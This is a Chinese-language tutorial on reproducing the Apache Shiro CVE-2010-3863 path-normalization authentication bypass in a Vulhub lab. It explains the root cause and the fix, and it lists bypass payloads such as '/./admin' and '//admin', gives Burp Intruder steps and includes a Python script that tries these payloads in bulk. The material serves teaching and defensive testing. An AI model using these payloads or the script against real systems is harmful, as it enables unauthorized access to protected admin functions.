1. 项目概述与漏洞背景
最近在整理一些经典的老漏洞,发现Apache Shiro这个CVE-2010-3863虽然年份久远,但其中涉及的路径标准化问题,在今天很多自研的权限校验逻辑里依然能看到影子。这个漏洞的本质,是Shiro在早期版本进行权限验证前,没有对请求的URI进行标准化处理,导致攻击者可以通过构造包含/.、/..、//等特殊序列的URL,绕过配置的权限拦截规则,直接访问到本应受保护的后台接口或页面。听起来是不是有点像我们小时候玩的那种“此路不通就绕个弯”的把戏?但就是这种基础的逻辑缺陷,往往能造成严重的越权访问。
Apache Shiro本身是一个功能强大且应用广泛的安全框架,很多Java Web项目,尤其是Spring Boot出现之前的老系统,都依赖它来做登录认证和权限控制。它的核心工作原理是通过一系列的过滤器链(Filter Chain)来拦截请求,匹配配置的URL模式,然后决定是放行、重定向到登录页还是直接拒绝。CVE-2010-3863就出在这个“匹配”环节上。当时Shiro的PathMatchingFilter在判断一个请求是否需要权限校验时,直接使用了未经处理的原始请求路径去匹配开发者配置的Ant风格路径模式(比如/admin/**)。如果攻击者提交的路径是/./admin,在Shiro看来,它可能不匹配/admin/**,但经过Web容器(如Tomcat)处理后的标准化路径,却实实在在指向了/admin资源,漏洞就这么产生了。
复现这个漏洞,不仅仅是为了“能攻击”,更重要的是理解权限校验链条中“路径解析一致性”这个关键原则。无论是自己做安全开发,还是做渗透测试,搞清楚请求在框架层、容器层、应用层分别被如何解读,是发现和防御这类逻辑漏洞的基本功。接下来,我会带你从环境搭建、漏洞原理分析、手工复现到漏洞修复,完整地走一遍这个过程,过程中会穿插很多我实际测试时踩过的坑和总结的技巧。
2. 漏洞原理深度剖析
2.1 Shiro权限校验的核心流程
要理解这个绕过漏洞,我们得先看看Shiro在1.1.0版本之前,一个受保护的请求大概经历了什么。假设我们在shiro.ini或相应的配置类里配置了这样一条规则:/admin/** = authc,意思是所有以/admin开头的路径都需要认证(authc)。
当一个请求,比如GET /admin/user/list到达时,Shiro的过滤器会开始工作:
- 获取请求路径:Shiro从
HttpServletRequest对象中获取请求的URI,比如/admin/user/list。 - 路径模式匹配:Shiro将这个获取到的路径,与配置中的所有规则键(如
/admin/**)进行匹配。这里使用的通常是Ant风格的路径匹配器。 - 执行拦截逻辑:如果匹配到
/admin/**,并且该规则关联了authc(认证)过滤器,那么Shiro会检查当前会话是否存在已登录的用户。如果没有,则中断请求处理,可能重定向到登录页或返回401。 - 放行请求:如果未匹配到任何需要权限的规则,或者权限检查通过,请求才会被传递给后续的Servlet或Spring MVC等控制器进行处理。
问题就出在第一步和第二步之间。Shiro直接使用了request.getRequestURI()或类似方法返回的原始字符串进行匹配,而这个字符串可能包含了容器尚未标准化的特殊字符。
2.2 路径标准化差异导致的逻辑断层
什么是路径标准化?这是Web容器(Tomcat, Jetty等)提供的一项服务,目的是将用户请求中可能包含的冗余、相对路径解析成一个规范化的、绝对上下文路径。
举个例子:
- 原始请求URI:
/./admin - 容器标准化后:
/admin - 原始请求URI:
/xxx/../admin - 容器标准化后:
/admin - 原始请求URI:
//admin - 容器标准化后:
/admin(多数容器会将双斜杠合并)
关键点在于:标准化发生在Shiro的权限匹配之后。更准确地说,Shiro在过滤器链里进行匹配时,容器可能还没有对这个URI进行最终的标准化处理(或者Shiro获取的是未经容器完全处理的路径)。在某些部署方式或容器版本下,request.getRequestURI()返回的就是浏览器发来的原始字符串。
于是,攻击者精心构造的Payload(如/./admin)上场了:
- Shiro拿到请求路径
/./admin,用它去匹配规则/admin/**。Ant路径匹配器通常将/.视为一个字面字符,因此/./admin不匹配/admin/**。Shiro认为这个请求不需要认证,直接放行。 - 请求被放行后,继续传递到Web容器或应用框架(如Spring的
DispatcherServlet)。容器在处理请求映射时,会先对路径进行标准化,将/./admin转换为/admin。 - 应用内部的路由控制器(比如一个
@RequestMapping(“/admin”)的Controller)接收到的是标准化后的/admin路径,并成功处理该请求。 - 攻击者就这样在没有登录凭证的情况下,直接访问到了后台管理功能。
2.3 漏洞影响范围与利用条件
这个漏洞的利用条件相对明确:
- Shiro版本:影响Apache Shiro 1.1.0之前的所有版本。具体来说是commit
ab8294940a19743583d91f0c7e29b405d197cc34之前的版本。这个commit修复了此问题。 - 权限配置方式:使用了Shiro的过滤器链来定义基于URL路径的拦截规则,并且规则中包含了需要认证或鉴权的路径。
- 部署环境:与Web容器的具体实现有关,但大多数常见容器(Tomcat, Jetty, Resin等)的默认行为都存在此风险。
注意:即使你的应用使用了Spring Security等其它安全框架,但如果同时集成了Shiro并让其处理部分URL,或者应用自身存在类似的、基于原始URI进行权限判断的逻辑,同样可能受到此类“路径标准化不一致”问题的威胁。这是一种通用的逻辑缺陷模式。
3. 漏洞复现环境搭建
纸上得来终觉浅,绝知此事要躬行。我们动手搭一个靶场,把漏洞真实地跑起来看。
3.1 环境准备与工具选择
为了快速复现,我们使用Vulhub这个优秀的漏洞靶场集成项目。它基于Docker,能一键搭建起包含各种漏洞的完整环境,省去了我们自己编译老版本Shiro、搭建Web应用的麻烦。
你需要准备:
- 一台安装好Docker和Docker Compose的Linux机器或虚拟机。我个人习惯用Ubuntu,但CentOS、Debian都可以。Windows用户建议使用WSL2。
- 基本的命令行操作知识。
- 一个浏览器,以及用于发送HTTP请求的工具,比如Burp Suite、Postman或者命令行下的
curl。我强烈推荐Burp Suite,因为它能方便地拦截、查看和重放请求,是Web安全测试的瑞士军刀。
首先,我们从GitHub上拉取Vulhub的代码:
git clone https://github.com/vulhub/vulhub.git cd vulhub进入对应的漏洞目录:
cd shiro/CVE-2010-3863在这个目录下,你会看到一个docker-compose.yml文件,这就是定义整个靶场环境的配方。
3.2 启动漏洞环境
执行以下命令来构建并启动容器:
docker-compose up -d-d参数表示在后台运行。第一次执行时会从Docker Hub拉取镜像,可能需要几分钟时间,取决于你的网络速度。
看到类似下面的输出,就表示启动成功了:
Creating network “shiro-cve-2010-3863_default” with the default driver Creating shiro-cve-2010-3863_web_1 … done现在,打开你的浏览器,访问http://你的靶机IP:8080。如果看到Shiro示例应用的默认首页(可能是一个简单的欢迎页面),说明环境已经正常运行。
实操心得:有时候8080端口可能被占用。你可以修改
docker-compose.yml文件,将”8080:8080″左边的宿主端口改成别的,比如”8088:8080″。修改后需要先docker-compose down停止旧容器,再重新docker-compose up -d。
3.3 靶场结构初探
这个靶场通常模拟了一个简单的Web应用,其中包含一个公开的首页(/)和一个需要认证才能访问的管理后台(/admin)。我们的目标就是在未登录的情况下,通过路径绕过技巧访问到/admin页面。
你可以先尝试直接访问http://你的靶机IP:8080/admin。正常情况下,Shiro的authc过滤器会拦截这个请求,并将你重定向到一个登录页面(可能是/login.jsp),或者返回一个401/403错误。记下这个正常被拦截的表现,后面好做对比。
4. 手工漏洞复现与验证
环境好了,我们开始真正的“绕过”测试。这里我会演示几种常见的绕过Payload和测试方法。
4.1 基础绕过Payload测试
最直接的测试就是使用/./、/../、//等序列。
方法一:使用浏览器或curl在浏览器地址栏直接输入:
http://你的靶机IP:8080/./admin或者使用curl命令:
curl -v http://你的靶机IP:8080/./admin观察响应。如果漏洞存在,你可能会看到以下情况之一:
- 直接返回了
/admin页面的内容(200 OK),这是最理想的证明。 - 返回了302重定向,但Location头指向的不是登录页,而是其他地址,这可能意味着绕过成功但触发了其他逻辑。
- 返回了404,这可能说明
/admin这个路径本身不存在,或者Payload构造方式需要调整。
方法二:使用Burp Suite进行系统化测试手工在地址栏输入效率低,我们使用Burp的Intruder模块来批量测试多种Payload。
拦截请求:打开Burp,配置好浏览器代理。在浏览器中访问
http://靶机IP:8080/admin,这个请求会被Burp Proxy拦截。发送到Intruder:在Proxy的拦截历史中,右键点击这个请求,选择
Send to Intruder。设置攻击位置:在Intruder标签页的
Positions子标签里,Burp会自动标记一些参数。我们需要手动设置。清空所有自动标记(点击Clear §),然后选中URL路径中的/admin这部分。添加Payload位置:选中
/admin后,点击Add §,将其标记为Payload插入点。现在你的请求路径看起来应该是GET /§admin§ HTTP/1.1。选择Payload类型:切换到
Payloads子标签。在Payload Sets里,选择Payload type为Simple list。填入测试Payload:在下面的Payload Options [Simple list]框中,输入我们想测试的各种路径变异字符串。这里有个技巧:因为我们在
/admin前后都加了位置标记,所以Payload应该是能直接替换admin这个部分的。但更通用的方法是把整个路径作为Payload。我们可以换个思路,在Positions里直接标记整个路径,然后Payload里放各种变体。为了简单起见,我们直接列出常见Payload:/admin /./admin /admin/ /admin/. /admin/.. /admin/../ //admin /admin// /xxx/../admin /admin;/ (分号绕过,针对某些容器,可一并测试) /admin../ /admin..;/你也可以从SecLists等Payload库中导入更全面的列表。
开始攻击:点击
Start attack。Burp会创建一个新窗口,用每个Payload替换原位置,并发起请求。分析结果:攻击完成后,重点关注
Status(状态码)和Length(响应长度)这两列。寻找那些与原始请求(直接访问/admin,通常返回302或401)状态码和长度明显不同的条目。比如,如果出现了200 OK,并且响应长度很大,那很可能就是绕过成功了。双击该条目查看响应内容,确认是否包含了后台管理页面的数据。
4.2 绕过原理的逆向验证
仅仅看到绕过成功还不够,我们最好能从流量层面验证一下“路径解析不一致”这个原理。
- 在Burp中,分别拦截两个请求:
GET /admin HTTP/1.1GET /./admin HTTP/1.1
- 将它们分别发送到
Repeater模块。 - 在Repeater中发送这两个请求,仔细观察响应头。
- 对于
/admin请求,响应头里很可能有一个Location: /login.jsp这样的重定向字段。 - 对于
/./admin请求,如果漏洞利用成功,可能不会出现重定向到登录页的Location头,而是直接返回了200状态码和页面内容。
- 对于
- 更进一步,如果你有权限查看靶场应用的日志(比如通过
docker-compose logs),可以观察一下应用层面记录的两个请求的路径。很可能会发现,应用日志里记录的都是标准化后的/admin,这直观地证明了容器层做了归一化处理。
常见问题:为什么我测试的
/./admin返回的是404? 这可能有几个原因:
- 应用路由不支持:靶场应用的后台控制器可能只映射了
/admin,没有映射/admin/。当你请求/./admin时,容器标准化后可能仍然是/admin,但某些框架或静态资源处理器对路径的解析有细微差别。可以尝试/admin/或/./admin/。- Payload位置不对:
/./必须紧跟在上下文路径之后。如果你的应用部署在/myapp下,那么完整的URL应该是http://ip:port/myapp/./admin。- 环境问题:极少数情况下,某些旧版本容器对路径标准化的时机不同。可以尝试其他Payload,如
//admin、/admin/../admin。- 漏洞已修复:确认你启动的确实是Shiro 1.0.0版本的环境。检查
docker-compose.yml中使用的镜像标签。
5. 漏洞修复方案与安全启示
5.1 官方修复方案解读
Apache Shiro在1.1.0版本中修复了此漏洞。修复的核心思想是:在Shiro进行路径匹配之前,先对请求的URI进行一次与Web容器行为一致的标准化处理。
我们可以看一下修复的commit (ab8294940) 中的关键代码。修复主要发生在PathMatchingFilter及其相关工具类中。Shiro引入了PathMatchingFilterChainResolver等类,在解析和匹配路径时,会调用WebUtils.*getPathWithinApplication*(request)来获取路径,而这个方法内部会使用HttpServletRequest.*getServletPath*()和getPathInfo(),并对其进行合并与标准化,确保Shiro用于匹配的路径,与最终到达Servlet的路径是同一个版本。
修复方案的要点:
- 标准化时机前置:将路径标准化作为权限校验的第一步,确保用于匹配的路径是“干净的”。
- 使用容器API:优先使用
request.getServletPath()和request.getPathInfo()而非直接使用request.getRequestURI(),因为前者通常是容器已经处理过的、更准确的应用内路径。 - 移除上下文路径:确保匹配时使用的路径不包含Web应用的上下文路径(Context Path),避免因上下文路径的拼接问题导致匹配失败。
5.2 针对自身项目的修复与加固建议
如果你的项目还在使用Shiro 1.1.0之前的版本,最直接、最有效的修复方案就是升级Shiro到最新稳定版。在升级时,注意测试原有的权限配置是否依然工作正常,因为新版本的路径匹配逻辑可能略有变化。
除了升级,从这次漏洞中我们可以汲取更通用的安全开发经验:
- 权限校验的“黄金准则”——一致性:在任何安全校验点(过滤器、拦截器、AOP切面),用于决策的“资源标识符”(如URL路径、方法名、数据ID)必须与业务逻辑层最终使用的标识符完全一致。最好能从同一个经过权威处理的源头获取。
- 对用户输入进行规范化:对于URL路径、文件名这类用于资源定位的输入,在进入核心逻辑前,应主动进行一次标准化(Normalization)和规范化(Canonicalization)处理。在Java中,可以使用
java.io.File的getCanonicalPath()(注意文件系统操作)或org.springframework.util.StringUtils.cleanPath等工具方法。 - 采用白名单机制:如果可能,定义明确的、合法的URL路径模式白名单,拒绝任何不符合模式的请求。这比黑名单(拒绝已知的恶意模式)更有效。
- 在架构层面统一入口:设计一个统一的网关或前置过滤器,对所有入站请求的路径进行清洗和标准化,后续的所有组件都依赖这个清洗后的结果,避免各组件解析不一致。
- 进行专项安全测试:在渗透测试或代码审计中,将“路径标准化绕过”作为一项固定的测试用例。测试Payload库应包含:
/.、/..、//、/…/(多个点)、;(分号)、%2e、%2f(编码形式)、\(反斜杠,Windows环境下)等。
5.3 现代框架中的类似问题与防护
虽然这是Shiro的老漏洞,但这类问题并未绝迹。在现代开发中,你需要注意:
- Spring Security:它本身有较为完善的路径处理机制,但如果你自定义了
Filter或SecurityFilterChain的匹配规则,并且手动从HttpServletRequest中获取路径,同样可能踩坑。应使用Spring Security提供的RequestMatcher接口及其实现(如AntPathRequestMatcher、MvcRequestMatcher),它们内部会处理路径解析问题。 - 自定义拦截器:很多项目会写自己的权限拦截器。切记不要直接使用
request.getRequestURI(),而应该使用框架提供的工具方法来获取“应用内部路径”,例如Spring的RequestContextUtils.getLookupPathForRequest或直接解析request.getServletPath()。 - API网关/反向代理(如Nginx):在多层架构中,请求可能经过Nginx再到达应用。要确保Nginx的
proxy_pass指令传递的URL是规范的,同时应用服务器接收到的X-Forwarded-Prefix等头信息被正确解读,防止因为路径重写而引入新的绕过点。
6. 漏洞挖掘与测试技巧延伸
掌握了这个特定漏洞的复现方法后,我们可以把思路拓宽,看看在实战中如何主动发现这类问题。
6.1 黑盒测试方法论
当你面对一个陌生的Web应用,怀疑其存在权限校验逻辑时,可以遵循以下步骤进行路径标准化绕过的测试:
- 识别保护端点:首先通过爬虫、目录扫描或分析前端JS,找到那些需要权限的接口或页面,例如
/admin、/api/user/profile、/dashboard。 - 验证基础拦截:直接访问这些端点,确认其确实受到了保护(返回403、401或重定向到登录)。
- 构造测试用例:针对每个受保护的端点,系统性地尝试以下Payload变体(假设目标端点为
/protected):- 目录遍历式:
/./protected,/xxx/../protected,/protected/../protected - 多余分隔符:
//protected,/protected//,///protected - 编码混淆:
/%2e/protected(.的URL编码),/%2f/protected(/的URL编码,有时容器解码顺序不同),\protected(Windows路径分隔符,在某些解析场景下可能被错误处理)。 - 后缀截断:
/protected;,/protected..,/protected%00(空字节,需看环境)。 - 混合拼接:
/./%2f/protected,/protected/./..
- 目录遍历式:
- 观察差异:使用Burp Intruder或自己写的脚本批量发送请求,对比响应状态码、长度、内容以及重定向目标。任何与基准请求(直接访问被拒)不同的响应都值得深入分析。
- 上下文路径处理:如果应用部署在非根路径(如
http://host/app/protected),测试时Payload需要放在上下文路径之后:/app/./protected。有时还需要测试对上下文路径本身的绕过。
6.2 白盒代码审计关注点
如果你是开发人员或进行代码审计,可以在源码中搜索以下风险点:
- 关键词搜索:在Java项目中,搜索
getRequestURI()、getRequestURL()、getServletPath()、getPathInfo()等方法的使用。检查这些方法返回的路径是否被直接用于权限判断、路由匹配或文件操作。 - 权限校验逻辑:找到自定义的过滤器、拦截器或AOP切面,看它们如何获取请求路径。重点检查路径匹配前是否有标准化操作。
- 框架配置:检查Shiro、Spring Security等安全框架的配置文件或配置类,确认其使用的路径匹配器是否是最新版本,或者是否有自定义的路径解析逻辑。
- 文件操作:搜索
new File(userInputPath)、Paths.get(userInput)等代码,这里可能存在路径遍历漏洞,其原理与本次讨论的URL绕过类似,都是由于未规范化输入导致的。
6.3 自动化测试脚本示例
为了提高效率,可以写一个简单的Python脚本进行批量测试。这里提供一个使用requests库的基础示例:
import requests import sys def test_path_bypass(target_url, protected_path): """测试给定路径的绕过可能性""" headers = {'User-Agent': 'Mozilla/5.0 Security Test'} # 基础Payload列表 payloads = [ protected_path, # 原始路径,作为基准 '/.' + protected_path, protected_path + '/.', '/..' + protected_path, protected_path + '/..', '//' + protected_path.lstrip('/'), protected_path.rstrip('/') + '//', '/xxx/../' + protected_path.lstrip('/'), protected_path + ';', protected_path + '..', protected_path + '%00', ] print(f"[*] Testing {target_url} with path: {protected_path}") print("-" * 60) baseline_response = None for payload in payloads: test_url = target_url.rstrip('/') + payload try: resp = requests.get(test_url, headers=headers, allow_redirects=False, timeout=5) status = resp.status_code length = len(resp.content) location = resp.headers.get('Location', '') # 第一个payload是基准 if payload == protected_path: baseline_response = (status, length, location) print(f"[BASE] {payload:30s} -> Status: {status}, Length: {length}, Redirect: {location[:50]}") else: # 与基准对比 base_status, base_length, base_loc = baseline_response if status != base_status or length != base_length: # 响应有显著差异,可能绕过成功 print(f"[!] POSSIBLE BYPASS: {payload:30s} -> Status: {status}, Length: {length}, Redirect: {location[:50]}") else: print(f"[ ] {payload:30s} -> Status: {status}, Length: {length}") except requests.exceptions.RequestException as e: print(f"[x] Error testing {payload}: {e}") if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python shiro_bypass_test.py <base_url> <protected_path>") print("Example: python shiro_bypass_test.py http://192.168.1.100:8080 /admin") sys.exit(1) base_url = sys.argv[1] path = sys.argv[2] test_path_bypass(base_url, path)这个脚本会逐个尝试Payload,并比较响应与原始请求的差异。将差异显著的请求标记出来,供人工进一步验证。你可以根据需要扩展Payload列表和对比逻辑(比如比较响应正文的哈希值)。
7. 总结与反思
CVE-2010-3863是一个典型的“解析差异”漏洞。它不涉及复杂的加密算法或内存破坏,而是源于安全组件与应用容器之间对同一数据理解的不一致。这种漏洞看似简单,却非常隐蔽,因为开发者在单一视角下(要么在Shiro配置里,要么在Controller里)看到的逻辑都是正确的。
复现这个老漏洞给我的启示是,安全是一个整体链条,任何一个环节的“想当然”都可能成为突破口。在设计权限系统时,我们必须追问:“我用来做决策的信息,和最终执行业务逻辑时使用的信息,是百分之百同一份吗?它们经过的解析、转换流程完全一致吗?”
对于防御者而言,升级到已修复的版本是必须的,但更重要的是建立一种“怀疑输入”和“统一解析”的安全开发意识。对于攻击者而言,这个案例展示了黑盒测试中一种有效的思路:寻找同一数据在不同处理阶段被差异化解析的机会,这种思路同样适用于参数解析、头处理、会话管理等多个方面。
最后,漏洞复现的环境在实验结束后,记得用docker-compose down命令清理,释放资源。安全研究最好都在隔离的虚拟环境或专用机器中进行,避免对生产或办公网络造成意外影响。